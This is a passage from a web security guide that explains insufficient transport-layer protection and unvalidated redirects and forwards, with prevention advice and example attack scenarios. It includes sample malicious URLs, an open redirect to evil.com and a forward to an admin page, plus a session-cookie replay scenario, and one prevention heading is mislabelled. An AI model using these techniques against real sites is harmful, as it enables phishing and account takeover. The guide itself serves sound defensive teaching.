vulnerable sites.
PAGE 26
TECHNICAL IMPACTS
Such flaws expose individual users’ data and can lead to account theft. If an admin
account was compromised, the entire site could be exposed. Poor SSL setup can also
facilitate phishing and MITM attacks.
HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?
Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.
Set the ‘secure’ flag on all sensitive cookies.
Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.
Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
Backend and other connections should also use SSL or other encryption
technologies.
Example Attack Scenarios:
1. A site simply doesn’t use SSL for all pages that require authentication. Attacker simply
monitors network traffic (like an open wireless or their neighborhood cable modem
network), and observes an authenticated victim’s session cookie. Attacker then replays
this cookie and takes over the user’s session.
2. A site has improperly configured SSL certificate which causes browser warnings for its
users. Users have to accept such warnings and continue, in order to use the site. This
causes users to get accustomed to such warnings. Phishing attack against the site’s
customers lures them to a lookalike site which doesn’t have a valid certificate, which
generates similar browser warnings. Since victims are accustomed to such warnings, they
proceed on and use the phishing site, giving away passwords or other private data.
3. A site simply uses standard ODBC/JDBC for the database connection, not realizing all
traffic is in the clear.
https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection
Unvalidated Redirects and Forwards
Web applications frequently redirect and forward users to other pages and websites, and
use untrusted data to determine the destination pages. Without proper validation,
attackers can redirect victims to phishing or malware sites or even use forwards to access
unauthorized pages. [3]
Am I vulnerable?
The best way to find out if your web application has any unvalidated redirects or forwards
is to:
PAGE 27
Review the code for all uses of redirect or forward. For each use, identify if the
target URL is included in any parameter values. If so, verify the parameters are
validated to contain only an allowed destination or element of destination.
Spider the web application to see if it generates any redirects.
If code is unavailable, check all parameters to see if they look like part of a redirect
or forward URL destination and test those that do.
How to prevent?
To prevent just avoid the use of redirects and forwards. If used don’t involve user
parameters in calculating the destination, if it can’t be avoided then ensure that the
supplied value is valid and authorized for the user.
It is recommended that any such destination parameters be a mapping value, rather than
the actual URL or portion of the URL, and that server side code translate this mapping to
the target URL.
Example Attacks
Scenario #1: The application has a page called “redirect.jsp” which takes a single
parameter named “url”. The attacker crafts a malicious URL that redirects users to
a malicious site that performs phishing and installs malware. Eg: http://www.example.com/redirect.jsp?url=evil.com
Scenario #2: The application uses forward to route requests between different
parts of the site. To facilitate this, some pages use a parameter to indicate where
the user should be sent if a transaction is successful. In this case, the attacker
crafts a URL that will pass the application’s access control check and then forward
the attacker to an administrative function that she would not normally be able to
access. Eg: http://www.example.com/boring.jsp?fwd=admin.jsp
PAGE 28
References
[1] http://google-gruyere.appspot.com/part1
[2] https://www.owasp.org/index.php/Session_Management
[3] https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
[4] https://www.golemtechnologies.com/articles/prevent-xss
[5] https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration